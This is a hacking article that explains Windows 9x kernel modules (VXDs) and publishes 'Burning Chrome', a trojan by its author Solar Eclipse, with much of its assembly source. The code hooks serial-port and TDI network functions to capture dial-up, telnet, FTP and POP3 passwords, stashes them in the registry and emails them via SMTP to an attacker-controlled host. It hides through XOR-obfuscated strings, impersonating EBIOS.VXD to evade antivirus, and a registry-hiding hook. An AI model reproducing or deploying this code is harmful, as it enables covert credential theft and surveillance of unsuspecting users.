|
|
----------------------[ Attacking Windows 9x with Loadable Kernel Modules ]
--------[ Solar Eclipse <solareclipse@phreedom.org> ]
----[ Introduction
This article explains the basics of Windows 9x kernel modules development and
contains the full source of a loadable kernel module (LKM) that performs the
following functions:
1) it captures TCP connections traffic and extracts telnet/pop3/ftp passwords
2) it captures dial-up connections traffic (by capturing the raw data from the
serial port) and extracts dial-up passwords
3) by accessing the TCP stack directly (bypassing the Winsock interface), it
emails all the collected authentication information to an evil script
kiddie sitting in a basement full of stolen hardware
4) it is virtually undetectable with any standard Windows tools
5) it is written entirely in assembly and the executable file size is
only 7KB
The name of the LKM is Burning Chrome. I wrote it because I had to break into
a computer system owned by a girl called Chrome. Yes, I know it sounds lame.
No, I don't know who William Gibson is. Dude, what is the Matrix?
I assume that you have a basic knowledge of Win32 programming, x86 protected
mode architecture, 32-bit assembly language programming, SoftIce and basic
Internet protocols (telnet/pop3/ftp/smtp).
I will start this article with a short overview of the Windows 9x kernel
design. Then I will describe a template kernel module and will talk about some
of the system services that Windows provides. Finally I will give you the
Burning Chrome source.
----[ Windows 9x Internals
Windows 9x has two separate layers of code: DLL layer and VXD layer.
1) DLL Layer
The DLL layer consists of all system DLLs. It runs as a Ring 3 code. All the
API functions that Windows programs normally call are implemented in the DLL
layer (in KERNEL32.DLL, USER32.DLL, GDI32.DLL and other DLLs). Many of the
DLLs call VXD functions. Some of the API functionality is implemented entirely
in the VXD layer and the DLL functions act only as gates (this is the case
with the registry access functions). Calling DLL functions from the VXD layer
is impossible and this makes most of the Windows API inaccessible to kernel
modules.
I will not discuss the system DLLs any more, because they are not used for
Windows kernel hacking.
2) VXD Layer
The general term VXD stands for Virtual Device Driver, the "x" being a
placeholder for device names. For example, VKD is a Virtual Keyboard Driver,
VDD is a Virtual Display Driver, etc. The VXD layer is the core of the Windows
OS. It is similar to the Linux kernel and the functions it provides, although
it is not nearly as well documented. The VXD code handles memory management,
task switching, low-level hardware access and other similar tasks. The core OS
services, such as registry access, networking and file access are also
implemented in the VXD layer.
All VXDs run in Ring 0 and have full access to the system. Hacking the Windows
kernel is possible by writing an VXD.
The Windows Driver Development Kit (DDK) is used for writing VXDs. Most
programmers shiver when somebody mentions 'device drivers', but but the VXDs
can be used for many other purposes. Let me quote Andrew Schulman, the author
of "Unauthorized Windows95. A Developer's Guide to Exploring the Foundations
of Windows 95":
"...Seen from this perspective, the names Virtual Device Driver and
Device Driver Kit are unfortunate. They automatically turn off most
Windows developers, who quite sensibly feel that device-driver writing is
an area they would rather stay away from. More appropriate names would
have been "TSRs for Windows" or "Please Hack Our Operating System". As it
is, the names VXD and DDK alienate many programmers who would otherwise
jump at this stuff.
...Admittedly, very few Windows programmers will be using VXDs to write
hardware interrupt handlers or device drivers. But a short time spent
with the DDK should convince you that there's a ton of documented
functionality available to VXDs that is otherwise difficult or impossible
to get under Windows. Whenever a programmer says that something is
"impossible" in Windows, I suspect the correct reply will be "No it
isn't. Write a VXD" Just as TSRs allowed DOS programmers to do the
otherwise-impossible in the 1980s, VXDs are going to let Windows
programmers go anywhere and do anything in what's left of the 1990s."
Unfortunately (or maybe fortunately) writing VXDs for Windows has not become
as common as writing TSRs for DOS was. The possibilities that the Virtual
Device Drivers offer are big, but writing one is not an easy task.
----[ Your First VXD
VXDs are usually written with the Windows98 DDK, which includes a copy of the
Microsoft Macro Assembler (MASM). It is possible to use C for VXD development,
but using assembly is definitely more fun. Other tools, such as NuMega
DriverWorks make the programmer's job easier, but for this example I will use
only the Win98 DDK. The DDK is available for free download on Microsoft's web
site. Even if they take it down, you will be able to find it on some old copy
of the MSDN or on the net.
Having a copy of the Windows NT4 DDK, Windows 2000 DDK and even the Windows
3.11 DDK will also be nice. Many interesting VXD features are poorly
documented or not documented at all. Although the Windows 98 DDK will be your
primary source of information, sometimes you will find the information you
need in some of the other kits. The Windows 3.11 DDK is useful, because there
are a lots of similarities in the internal architecture of Windows 3.11 and
Windows 95. (Contrary to the Microsoft hype, Windows 3.11 was closer to
Windows 95 than to Windows 3.1. Basically the only major change between 3.11
and 95 was the GUI)
The VXDs are LE executables. You need a special linker to link them (included
in the DDK).
The following source is a template for a very basic VXD. It's just an example
for a module that can be successfully loaded by the system.
<++> example.asm
; EXAMPLE.ASM
; VXDs use 386 protected mode
.386p
; Many system VXDs export services, just like the system DLLs in Windows.
; We can use these services for memory allocations, registry and file
; access, etc.
; All we need to do is include the appropriate include file. There are
; many INC files for the system VXDs that come with the DDK.
; VMM.INC is the only required include file. It contains the declarations
; for many important services exported by VMM32.VXD, as well as many
; macros that are used for VXD programming.
INCLUDE VMM.INC
; All VXDs need a Driver Declaration Block (DDB), that stores information
; about its name, version, control procedure, device ID, init order, etc.
; To build this DDB use the Declare_Virtual_Device macro with the following
; parameters:
; - VXD name (needs not be the same as the file name)
; - Major version
; - Minor version
; - Control procedure (similar to WndProc in normal Windows programs. This
; procedure receives all the system messages and processes them
; - Device ID - used only for VXDs that export services. Arbitrary values
; might work as long as they don’t conflict with the official Device IDs
; assigned by Microsoft
; - Init order - 32 bit integer, determines the order in which the VXDs
; are loaded. If you want your VXD to be loaded after some other VXD,
; use a value greater than the other VXD's init order
Declare_Virtual_Device EXAMPLE, 1, 0, Control_Proc, Undefined_Device_ID, \
Undefined_Init_Order, , ,
; This macros declares the data segment
VxD_DATA_SEG
SomeData dd 0 ; Just some data
VxD_DATA_ENDS
; Code segment
VxD_CODE_SEG
BeginProc SomeProcedure
push eax
mov eax, 1
pop eax
ret
EndProc SomeProcedure
VxD_CODE_ENDS
;Locked code segment - will be explained later
VxD_LOCKED_CODE_SEG
; This is the control procedure. It should use Control_Dispatch macros for
; handling the messages. This macro takes 2 parameters - message_code and
; handler address. You can find a list of all the messages in the DDK
; documentation.
; This example only handles the Device_Init message and calls the
; Do_Device_Init function.
BeginProc Control_Proc
Control_Dispatch Device_Init, Do_Device_Init
clc
ret
EndProc Control_Proc
VxD_LOCKED_CODE_ENDS
; Init code segment
VxD_ICODE_SEG
; This procedure is called after the VXD is loaded. Put the initialization
; code in it.
BeginProc Do_Device_Init
; Put some init code here...
ret
EndProc Do_Device_Init
VxD_ICODE_ENDS
; End of EXAMPLE.ASM
END
<-->
There are 7 different types of segments that your VXD can use.
1) VxD_DATA_SEG and VxD_CODE_SEG - for pageable code and data
2) VxD_LOCKED_DATA_SEG i VxD_LOCKED_CODE_SEG - this segments contain
non-pageable code and data. Control_Proc and the interrupt handlers
should be in VxD_LOCED_CODE_SEG. I am not quite sure about the
rest of the code. The Windows DDK documentation is not very clear about
that. If your VXD is small, you might want to use only non-pageable
memory, just to be safe.
3) VxD_ICODE_SEG i VxD_IDATA_SEG - initialization code and data. These
segments are discarded after the initialization is finished. This is a
good place for the Do_Device_Init procedure.
4) VxD_REAL_INIT_SEG - The code in this segment is executed by Windows
before the processor switches to protected mode. Unless you are writing a
REAL device driver, it's pretty much useless.
To compile the example VXD you will also need a .DEF file. This is
EXAMPLE.DEF:
<++> example.def
LIBRARY EXAMPLE
DESCRIPTION 'VxD Example by Solar Eclipse'
EXETYPE DEV386
SEGMENTS
_LTEXT PRELOAD NONDISCARDABLE
_LDATA PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_TEXT CLASS 'PCODE' NONDISCARDABLE
_DATA CLASS 'PCODE' NONDISCARDABLE
EXPORTS
EXAMPLE_DDB @1
<--> example.def
If your DDK is set up correctly, and all the shell variables are initialized
(read the DDK docs for that), you should be able to compile EXAMPLE.VXD with
the following commands (no Makefile, sorry):
You can compile a DEBUG version with this:
set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -
DMASM6 -DINITLOG -DDEBLEVEL=0 -Fl
ml example.asm
NO_DEBUG version:
set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -
DMASM6 -DINITLOG -DDEBLEVEL=1 -DDEBUG -Fl
ml example.asm
Then link it:
link example.obj /vxd /def:example.def
Put the file EXAMPLE.VXD in C:\WINDOWS\SYSTEM and add the following to the
[386Enh] section of SYSTEM.INI
device=example.vxd
After the system is rebooted, the VXD will be loaded. Of course it won't do
much, but you can see it in the VXD list with SoftIce.
----[ Burning Chrome
The VXDs allow you to access most of the core Windows services directly and
this gives you some interesting possibilities. Let's explore the features
implemented in CHROME.ASM.
I. Capturing dial-up passwords
Almost all dial-up connections are initiated through a modem attached to a
serial port, using the PPP protocol. The two most common ways of
authentication are via PAP (Password Authentication Protocol) or via a login
prompt. To get these passwords we need to capture the traffic passing through
the serial port.
The Hook_Device_Service system call allows us to hook the services exported by
the VXDs. VCOMM.VXD exports three services that we need to hook. These are
VCOMM_OpenComm, VCOMM_WriteComm and VCOMM_CloseComm. The following code
hooks the services:
; Hook VCOMM services
GetVxDServiceOrdinal eax, _VCOMM_OpenComm
mov esi, offset32 OpenComm_Hook
VMMcall Hook_Device_Service
jc Abort
GetVxDServiceOrdinal eax, _VCOMM_WriteComm
mov esi, offset32 WriteComm_Hook
VMMcall Hook_Device_Service
jc Abort
GetVxDServiceOrdinal eax, _VCOMM_CloseComm
mov esi, offset32 CloseComm_Hook
VMMcall Hook_Device_Service
jc Abort
OpenComm_Hook, WriteComm_Hook and CloseComm_Hook are the names of the new
service handlers.
One of the OpenComm parameters is the name of the device being opened. When a
dial-up connection is established, Windows opens COM1, COM2, COM3 or COM4 and
sends the AT modem commands. Our OpenComm procedure checks the device name and
sets a flag if it is a COM port. All the subsequent WriteComm calls are
logged, until the connection is closed.
If the flag is set, the WriteComm procedure saves all the data to a buffer.
When the buffer gets full, the data in it is processed and saved to the
registry.
The main goal of the log processing routines is to make sure that no
username/password combination is emailed twice - getting your mailbox flooded
by a misbehaving trojan horse is not good. This requires the usernames and
the passwords to be saved and each new connection to be checked against the
old sessions. The best place for storing such information is the registry.
Reading and writing to the registry is much easier than storing the data in a
file on the hard disk. The chance of the user noticing a few new entries in
the registry is also very slim.
For each session, four things need to be saved: username, password, phone
number or IP address of the remote end and the log itself. Before the session
is saved, the username, password and the phone number are extracted from the
log and compared to the existing values in the registry. If a session with the
same values exists, the new session is not saved.
CHROME.ASM combines the username, password and phone number into a single
string. Then it saves the session to the registry using this string as the key
name and the log as the key value. The string acts as a hash of the log. When
a new connection is captured, its hash string is generated and the VXD checks
if a key with the same hash exists. It does this by trying to open a key with
the same name as the hash string. If the RegQueryValueEx call fails, the new
connection is saved.
; The following code is taken from the Send_Common procedure
; ValueName is pointer to the beginning of the hash string.
; pBuffer is a pointer to the log
; RegQueryValueEx expects a pointer to a pointer, so dwTemp_1 is used
; for passing a pointer to a NULL pointer
Get_Reg_Value:
; Try to get the value with the same name
xor ebx, ebx
mov dwTemp_1, ebx
push offset32 dwTemp_1 ; cbData
push ebx ; lpszData
push ebx ; fdwType
push ebx ; dwReserved
push ValueName ; lpszValueName
push hOurKey ; phKey
VMMCall _RegQueryValueEx ; Get the value of the key
add esp, 18h
cmp eax, ERROR_FILE_NOT_FOUND ; If key exists
jne Send_Common_Abort
; Save the result in the registry
push BufferSize ; cbData
push pBuffer ; lpszData
push REG_SZ ; fdwType
push 0 ; dwReserved
push ValueName ; lpszValueName
push hOurKey ; phKey
VMMCall _RegSetValueEx ; Set the value of the key
add esp, 18h
When the user ftp's to a server his connection is logged. If later he decides
to telnet to the same server with the save username and password, the telnet
connection will not be saved, because the hash string will be the same. To
avoid this we will include an connection type identifier in the hash string.
This identifier is a single letter put in the beginning of the hash string:
TraceLetters equ $ ; Table with letters for each different
NOTHING db 'N' ; type of trace. Indexed with TraceType
MODEM db 'M'
TELNET db 'T'
FTP db 'F'
POP3 db 'P'
The buffer processing functions for the dial-up and the TCP connections are
very similar. They only differ in the way the hash string is extracted from
the log. The common buffer processing is done by the Send_Common function. It
saves the new data in the buffer and checks if it is full. Usually we don't
need to capture more than the first hundred bytes to get the username and
password. If the buffer is full, the log should be processed. The TraceType
variable contains the connection type - modem, telnet, ftp or pop3.
Send_Common calls the appropriate log processing function - in the case of a
dial-up connection it calls ModemLog. The log processing functions extract a
hash string from the buffer and returns it to Send_Common.
ModemLog checks the captured data for an ATD command. If does not find it, an
error flag is set and the data is not saved into the registry. Else the
phone number is extracted and copied as the first part of the hash string.
If the first transferred byte after the phone number is a '~' we are dealing
with a PPP connection. During the PPP connection establishment authentication
information can be exchanged. The most commonly used protocol is called PAP
(Password Authentication Protocol). CHAP (Challenge Authentication Protocol)
is also popular, but it does not send the password in cleartext and therefor
can not be captured by the VXD.
You can find more information on PAP in RFC1172: The Point-to-Point Protocol
Initial Configuration Options. The PPP protocol is described in RFC1331.
The PAP authentication information is transmitted using a PPP packet with a
PAP sub-packet type. The structure of the PAP packet is shown in the
following table:
| 7E | C0 23 | 01 | xx | xx xx | ULen | U S E R | PLen | P A S S |
| | | | | | | | | |
|PPP | PAP |code| id |length |user len|username |pass len|password |
All PAP packets start with 7E C0 23. If the packet is carrying authentication
information the PAP code is 01. We need to scan the captured PPP session for
the 7E C0 23 01 byte sequence and copy the username and the password to hash
string.
If the first character after the phone number is not '~', we are dealing with
a login prompt configuration. Usually the user enters a username, presses
Enter, then enters the password, presses Enter again and the PPP connection is
established. As we already know, the first byte of the PPP handshake sequence
is '~'. If we copy all the data before the '~' to the hash string we'll surely
get the username and the password.
II. Capturing TCP connections
Everybody reading this is probably familiar with the Winsock interface. What
most of you don't know is that most of the Winsock functions are implemented
in the Transport Data Interface (TDI). This is a kernel mode interface for
network access, supporting different network protocols. WINSOCK.DLL is just a
convenient way for the Windows applications to use this interace without
calling the VTDI.VXD services directly.
Among others the TDI interface provides the functions TdiConnect,
TdiDisconnect and TdiSend. They correspond directly to the Winsock functions
connect(), disconnect() and send(). We need to hook these functions and
intercept the data being sent. There is no documented way for hooking these
functions, but it's not impossible. The VTDI_Get_Info system call returns a
pointer to the TdiDispatchTable, which contains pointers to all the TDI
functions. The applications that use TDI are supposed to get the addresses
from this table and call the TDI functions directly. If we get the address of
this table and replace the addresses of the TDI functions with the addresses
of our hooks, all the TDI calls will get routed to us. Our code runs in Ring 0
and we have full access to the memory and can change whatever we want. Of
course we need to save the addresses of the old handlers so that we can call
them later. Sounds just like hooking DOS interrupt handlers, doesn't it?
Here is the code for hooking the TDI functions:
; Make sure VTDI is present
VxDcall VTDI_Get_Version
jc Abort
; Get a pointer to the TCP dispatch table
push offset32 TCPName
VxDcall VTDI_Get_Info
add esp, 4
mov TdiDispatchTable, eax ; Save the address of TdiDispatchTable
; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend
mov ebx, [eax+0Ch]
mov TdiCloseConnection_PrevAddr, ebx
mov [eax+0Ch], offset32 TdiCloseConnection_Hook
mov ebx, [eax+18h]
mov TdiConnect_PrevAddr, ebx
mov [eax+18h], offset32 TdiConnect_Hook
mov ebx, [eax+1Ch]
mov TdiDisconnect_PrevAddr, ebx
mov [eax+1Ch], offset32 TdiDisconnect_Hook
mov ebx, [eax+2Ch]
mov TdiSend_PrevAddr, ebx
mov [eax+2Ch], offset32 TdiSend_Hook
The TDI documentation in the Windows DDK is incomplete and very confusing, but
it's the only available source of information.
TdiConnect is passed a pointer to a RequestAddress structure, which contains a
pointer to a RemoteAddress structure, which contains the IP address and the
port number. After making sure that the RequestAddress is of type IPv4, our
TdiConnect handler checks the destination port number. If it is 21, 23 or 110
we need to capture this connection. We need to set the TraceType flag and save
the connection handle. Unfortunately this connection handle is not returned
directly by the original TdiConnect function. One of its parameters is the
address of a callback function which is to be called after the connection is
established (or when an error occurs). We will save the supplied address of
the callback function and replace it with the address of TdiConnect_Callback
function in the VXD. This function checks the connection status. If the
connection is successfully established, the connection handle is saved. If
not, the TraceType flag is unset. After that the real callback function is
called.
TdiSend is very similar to WriteComm. It checks the connection handle and if
it matches the connection that we are currently tracing TdiSend calls
SendCommon. From there on the process is exactly the same as described above.
If we are tracing a pop3 session, SendCommon calls Pop3Log as a log processing
function. Pop3Log converts the IP address of the server to a hex string and
saves it as the first part of the hash. This makes sure that two accounts with
the same username/password on different servers will not get confused. Then
the log is scanned for the USER and PASS commands. The username and password
are extracted and stored in the hash string.
mov esi, pBuffer
mov ecx, BufferSize
mov ebx, ecx
mov eax, 'RESU' ; Search for USER
USER_or_PASS_Loop:
cmp dword ptr [esi], eax ; Search for USER or PASS (in eax)
je USER_or_PASS_Copy_Loop_Start
inc esi
dec ecx
jz Pop3Log_Abort
jmp USER_or_PASS_Loop
USER_or_PASS_Copy_Loop_Start:
add esi, 5 ; Skip 'USER' and 'PASS'
USER_or_PASS_Copy_Loop:
cmp byte ptr [esi], 0Dh ; Is <CR> here?
jne Copy_USER_or_PASS
cmp al, 'P' ; Is this a PASS copy?
je Pop3Log_End ; Work done, finish log processing
mov ax, 0A0Dh ; Save a <CR> between username & pass
stosw
mov eax, 'SSAP'
jmp USER_or_PASS_Loop
Copy_USER_or_PASS:
movsb
dec ecx
jz Pop3Log_Abort
jmp USER_or_PASS_Copy_Loop
This code is shown here only as a prove that programming in assembly is
a very brain damaging activity. After spending several years doing assembly
language programming, you'll never programmer the same way as before, even in
a high level language. Whether this is good or bad is a different question.
The FTP protocol is very similar to the POP3 protocol. In fact the
authentication commands (USER & PASS) are exactly the same and FtpLog can
simply call Pop3Log. We don't want to capture all the anonymous ftp
connections and that's why FtpLog checks the username. If it is 'anonymous',
the connection trace is aborted.
All telnet logs are processed by the TelnetLog function. It is a little bit
more complicated because the Telnet client negotiates the terminal options
with the server before it lets the user type his username and password. The
algorithm for the username/password extraction is as follows:
DATA: terminal options | 0 | username | CR | password | CR | more data
1) find the first CR
2] find the second CR
3) save the second CR position
4) search for the 0 (going back from the second CR)
5) stop when 0 is found or the beginning of the buffer is reached
6) copy everything from the current position (starting after the \0 or
at the beginning of the buffer) to the position of the second CR
While writing this article I went through my code once again and found the
following comment:
; If NULL is found, edi points to the byte before it and we need to do
; inc edi twice. Else, edi would point to the first char in the buffer
; and we don't need to inc it.
; That's why we have done 'inc ecx' twice a couple of lines before.
; This way, if NULL is not found, edi points to the first-2 char
; and we can (and must) do inc edi two times.
inc edi
inc edi
This shows that writing code at 3am is not very healthy.
III. Emailing the captured passwords
Sending the captured passwords back to the hacker is very important. The
mailing function needs to be robust, otherwise all the password capturing code
is useless.
The mailing function needs to be called only when an Internet connection is
present. We could use our COM port hook and find out when a PPP connection is
established, but this wouldn't work for machines with Ethernet connections.
The simplest thing do is to make our TdiConnect handler call the Sendmail
function everytime an outgoing connection on port 80 is detected. In this day
and age, everybody uses the Web. A connection to a web server is a clear
indication that an Internet connection is also present. If this is not the
case (the user might be using a local web server or an Intranet without
external connectivity) the Sendmail function will fail connecting and retry
again the next time.
When new data is saved to the registry, a flag is set. The letter 'P' is saved
as the default value of the registry key. This flag is later checked by the
mailing function and the captured passwords are emailed if it is set. After
the email is sent the default value is deleted from the registry. This way an
email is sent only when there is a new password. It is better to send all the
passwords every single time than to send only the new one. This way if one
email is lost, there is still a chance of getting the lost password the next
time.
Sendmail uses TDI to connect to a mail server and send all the captured
passwords and logs. Before a connection is established, a message buffer is
allocated from the heap. This buffer is used for constructing the sequence of
SMTP commands and email data before sending it to the mailserver. First some
SMTP commands are copied to the buffer:
HELO localhost
MAIL FROM:<xxx@xxx.com>
RCPT TO:<xxx@xxx.com>
DATA
Then the email message is constructed. The subject of the message is set to
the RegisteredOwner value from
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion.
The first 3 lines from the message contain RegisteredOrganization, SystemRoot
and VersionNumber - for statistical purposes only.
As you already know, our logs are stored as values in a registry key. The
Sendmail function enumerates these values and copies them to the mail buffer.
The email text is finished with '.' and the QUIT command is put into the
buffer.
Opening a TDI connection and sending the contents of the mail buffer is pain
in the ass. We need to open an address object (TdiOpenAddress), save the
returned address handle, open a connection object (TdiOpenConnection), save
the connection context, associate the connection context with the address
handle (TdiAssociateAddress) and then finally call TdiConnect. Of course the
documentation does not mention any of these steps or the order in which they
have to be performed. Figuring this out with SoftIce is not fun.
Most TDI functions are asynchronous and call the TdiMail_Callback function on
completion. TdiConnect is no exception. TdiMail_Callback checks the error code
and if the connection is established correctly it sends the contents of the
mail buffer. Sending all the commands with one write is not allowed by the
SMTP protocol, but it works with most mail servers. After the sending the
TdiMail_Callback is called again, this time because the send was completed.
The connection is then closed by calling TdiDisconnect and TdiCloseAddress.
The default value of our reg key is deleted, thus unsetting the flag. The next
time Sendmail is called it will not send anything, unless a new password was
captured.
; Delete the default value (send is done)
xor eax, eax
push eax ; cbData
push offset32 Zero ; lpszData
push REG_SZ ; fdwType
push eax ; lpSubKey
push hOurKey
VMMCall _RegSetValue
add esp, 14h
IV. Misc
All the ASCII data in CHROME.VXD is XOR-ed with 42. This is not a storing
encryption scheme, but it will fool a less experienced observer.
mov edi, ASCIIStart
mov ecx, ASCIILength
Decode_Loop: ; Why 42...? :-)
xor byte ptr [edi], 42
inc edi
loop Decode_Loop
The installation process of Burning Chrome is really interesting. The standard
installation approach for VXDs is to copy them to C:\WINDOWS\SYSTEM and add
the appropriate entry in the registry or in the SYSTEM.INI file. Modifying the
registry or INI files can be easily detected and should be avoided.
The core Windows VXDs are compressed into a single file, called VMM32.VXD.
This is not a normal VXD file. When the system loads it during the boot
process, all the files that are contained in it are extracted and loaded as
kernel modules. The file format of the VMM32.VXD is documented and it is
possible to add VXD files to it. Unfortunately, registry entries are still
required for these files and we can not force the system to load our module
without modifying the registry. The C:\WINDOWS\SYSTEM\VMM32 folder has a
special function. Every time a VXD from the VMM32.VXD collection is loaded,
Windows checks if a file with the same name exists in this directory. If it
finds a file with the same name, it is loaded instead of the VXD in
VMM32.VXD.
Suppose that a AAA.VXD is in VMM32.VXD. If we name our VXD AAA.VXD and put it
in C:\WINDOWS\SYSTEM\VMM32, then Windows will load our module instead of
the original VXD.
The only problem is that we need a VXD that is in VMM32.VXD and is loaded by
default, but not necessary needed. The perfect VXD is EBIOS.VXD. EBIOS is a
failed BIOS extention standard by IBM. Most modern computers use
Award/Phoenix/AMI BIOSes and do not support EBIOS. The lack of this VXD will
not be fatal.
All we have to do is name our VXD EBIOS.VXD and copy it to
C:\WINDOWS\SYSTEM\VMM32. We don't need to modify any existing system files.
Most anti-virus programs will alert the user if a program is trying to write
to SYSTEM.INI or modify system files, but they will happily let us copy a
file.
IV. Known Bugs
There are many bugs in this code. If you fix or add something, please send me
a copy :-)
Here is the list of the known bus:
1) Sometimes the Sendmail function fails to send the email. It should be
redesigned to comply to the RFC - send a command, wait for a reply, send the
next command, wait for a reply, etc.
2) Anonymous FTP sessions are logged, although they should not be. I have no
clue why.
3) The TelnetLog function includes some Telnet options in the hash string.
V. Improvements
Here is a list of improvements that can be added to the code. Unfortunately I
have no time to do it. If you modify the code, please send me a copy.
1) Add encryption to the email messages. Even a simple XOR will be better than
sending everything in cleartext.
2) Capture HTTP form submissions and look for webmail passwords/credit card
numbers/etc.
3) Hide the registry key that we use to store our data. The RegEnumKey
function returns the names of the subkeys of a given key. We can hook it and
check the name of the returned key. If it matches the key name that we want to
hide, we'll return an error.
Here is some simple code for doing this:
<++> hidereg.asm
.386p
INCLUDE VMM.INC
INCLUDE VMMREG.INC
Declare_Virtual_Device HIDEREG, 1, 0, Control_Proc, Undefined_Device_ID, \
Undefined_Init_Order, , ,
VxD_LOCKED_DATA_SEG
pRegEnumKey_PrevHook dd 0
VxD_LOCKED_DATA_ENDS
VxD_LOCKED_CODE_SEG
BeginProc RegEnumKey_Hook, HOOK_PROC, pRegEnumKey_PrevHook, LOCKED
push ebp ; C rulez!
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> hKey
; ebp+0Ch -> iSubKey
; ebp+10h -> lpszName
; ebp+14h -> cchName
pushad
pushfd
int 3
push [ebp+14h] ; Push cchName
push [ebp+10h] ; Push lpszName
push [ebp+0Ch] ; Push iSubKey
push [ebp+08h] ; Push hKey
call [pRegEnumKey_PrevHook] ; Call the old handler
add esp, 10h ; C really rulez!
mov [ebp-04h], eax ; blah...
mov edi, [ebp+10h]
cmp dword ptr [edi], 'xzzy' ; Is this "hidden" key ?
jne RegEnumKey_Hook_End
mov dword ptr [ebp-04h], ERROR_NO_MORE_ITEMS ; Dirty, but works
mov byte ptr [edi], 0
RegEnumKey_Hook_End:
popfd
popad
pop ebp
ret
EndProc RegEnumKey_Hook
BeginProc Control_Proc
Control_Dispatch Device_Init, Do_Device_Init
clc
ret
EndProc Control_Proc
VxD_LOCKED_CODE_ENDS
VxD_ICODE_SEG
BeginProc Do_Device_Init
GetVxDServiceOrdinal eax, _RegEnumKey
mov esi, offset32 RegEnumKey_Hook
VMMcall Hook_Device_Service
ret
EndProc Do_Device_Init
VxD_ICODE_ENDS
; End of HIDEREG.ASM
END
<-->
----[ Functions List
This is a list of all the functions in CHROME.ASM and what they do. I hope it
helps.
VCOMM Hooking
OpenComm_Hook Start modem log
WriteComm_Hook Log modem data
CloseComm_Hook End modem log
TDI Hooking
TdiConnect_Hook Start TCP log
TdiConnect_Callback Helper for TdiConnect_Hook
TdiSend_Hook Log TCP data
TdiDisconnect_Hook End TCP log
TdiCloseConnection_Hook End TCP log
General logging
Send_Common Common code for logs
ModemLog Processes modem logs
TelnetLog Processes telnet logs
FtpLog Processes ftp logs
Pop3Log Processes pop3 logs
DWordToStr aka IP2HexStr
Mailing
Sendmail Sendmail
TdiMail_Callback Helper for Sendmail
QueryRegValue Gets registry data
----[ The Source
<++> chrome.asm
;---------------------------------------------------------------------------;
; Burning Chrome version 0.9 by Solar Eclipse <solareclipse@phreedom.org> ;
; ;
; This program is free. Feel free to use it any way you want. If you break ;
; the law and get caught, don't come whining to me. If you modify the code, ;
; please be a nice guy and send me a copy. ;
; And don't forget to visit the cool guys at http://www.phreedom.org/ ;
;---------------------------------------------------------------------------;
.386p
;---------------------------------------------------------------------------;
; Includes ;
;---------------------------------------------------------------------------;
INCLUDE VMM.INC
INCLUDE VCOMM.INC
INCLUDE VMMREG.INC
;INCLUDE DEBUG.INC ; Temporary
VTDI_Device_ID equ 0488h
INCLUDE VTDI.INC
;---------------------------------------------------------------------------;
; Some constants ;
;---------------------------------------------------------------------------;
MAX_BUFFER_LENGTH equ 1500
MAIL_BUFFER_LENGTH equ 10000
IP_1 equ 192 ; 192.168.0.3:25
IP_2 equ 168
IP_3 equ 0
IP_4 equ 3
PORT equ 25
CHROME_Init_Order equ 0C000h + VNETBIOS_Init_Order
;---------------------------------------------------------------------------;
; EBIOS_DDB ;
;---------------------------------------------------------------------------;
Declare_Virtual_Device EBIOS, 1, 0, Control_Proc, EBIOS_Device_ID, CHROME_Init_Order, , ,
;---------------------------------------------------------------------------;
; Locked Data Segment ;
;---------------------------------------------------------------------------;
VxD_LOCKED_DATA_SEG
; ASCII data (xored)
ASCIIStart equ $
OurKey db 98,75,88,78,93,75,88,79,118,110,79,89,73,88,67,90,94,67,69,68,118
db 121,83,89,94,79,71,118,122,79,88,67,90,66,79,88,75,70,105,69,71,90
db 69,68,79,68,94,99,68,94,79,88,73,69,68,68,79,73,94,42
; 'Hardware\Description\System\PeripheralComponentInterconnect', 0
CurrentVersionSubKey db 121,69,76,94,93,75,88,79,118,103,67,73,88,69,89,69,76,94,118,125,67
db 68,78,69,93,89,118,105,95,88,88,79,68,94,124,79,88,89,67,69,68,42
; 'Software\Microsoft\Windows\CurrentVersion', 0
sRegisteredOwner db 120,79,77,67,89,94,79,88,79,78,101,93,68,79,88,42
; 'RegisteredOwner', 0
sRegisteredOrganization db 120,79,77,67,89,94,79,88,79,78,101,88,77,75,68,67,80,75,94,67,69,68,42
; 'RegisteredOrganization', 0
sVersionNumber db 124,79,88,89,67,69,68,100,95,71,72,79,88,42
; 'VersionNumber', 0
sSystemRoot db 121,83,89,94,79,71,120,69,69,94,42
; 'SystemRoot', 0
TCPName db 103,121,126,105
Letter_P db 122
Zero db 42
; 'MSTCP', 0
MailData_1 db 98,111,102,101,10,70,69,73,75,70,66,69,89,94,39,32
; 'HELO localhost', 13, 10
db 103,107,99,102,10,108,120,101,103,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32
; 'MAIL FROM:<xxx@xxx.com>', 13, 10
db 120,105,122,126,10,126,101,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32
; 'RCPT TO:<xxx@xxx.com>', 13, 10
db 110,107,126,107,39,32
; 'DATA', 13, 10
db 121,95,72,64,79,73,94,16,10
; 'Subject: '
cbMailData_1 equ $-MailData_1
MailData_2 db 39,32
; 13, 10
db 4,39,32
; '.', 13, 10
db 123,127,99,126,39,32,42
; 'QUIT', 13, 10, 0
cbMailData_2 equ $-MailData_2
ASCIILength equ $-ASCIIStart
; This is for the hooks
pOpenComm_PrevHook dd 0 ; Addresses of previous service handlers
pWriteComm_PrevHook dd 0
pCloseComm_PrevHook dd 0
TdiConnect_PrevAddr dd 0
TdiSend_PrevAddr dd 0
TdiDisconnect_PrevAddr dd 0
TdiCloseConnection_PrevAddr dd 0
; Flags
Disable db 0
TraceType db 0 ; 0 - nothing, 1 - modem, 2 - telnet, 3 - ftp,
; 4 - pop3
TracedHandle dd 0
LogProc dd 0 ; Address of log processing proc
TraceLetters equ $ ; Table with letters for each different
NOTHING db 'N' ; type of trace. Indexed with TraceType
MODEM db 'M'
TELNET db 'T'
FTP db 'F'
POP3 db 'P'
IP dd 0
ValueName dd 0
pBuffer dd 0
BufferSize dd 0
Index dd 0
MailPointer dd 0
hOurKey dd 0
OurSubKey db "0", 0
hOurSubKey dd 0
OldCallback dd 0
dwTemp_1 dd 0
dwTemp_2 dd 0
TdiDispatchTable dd 0
AddressHandle dd 0
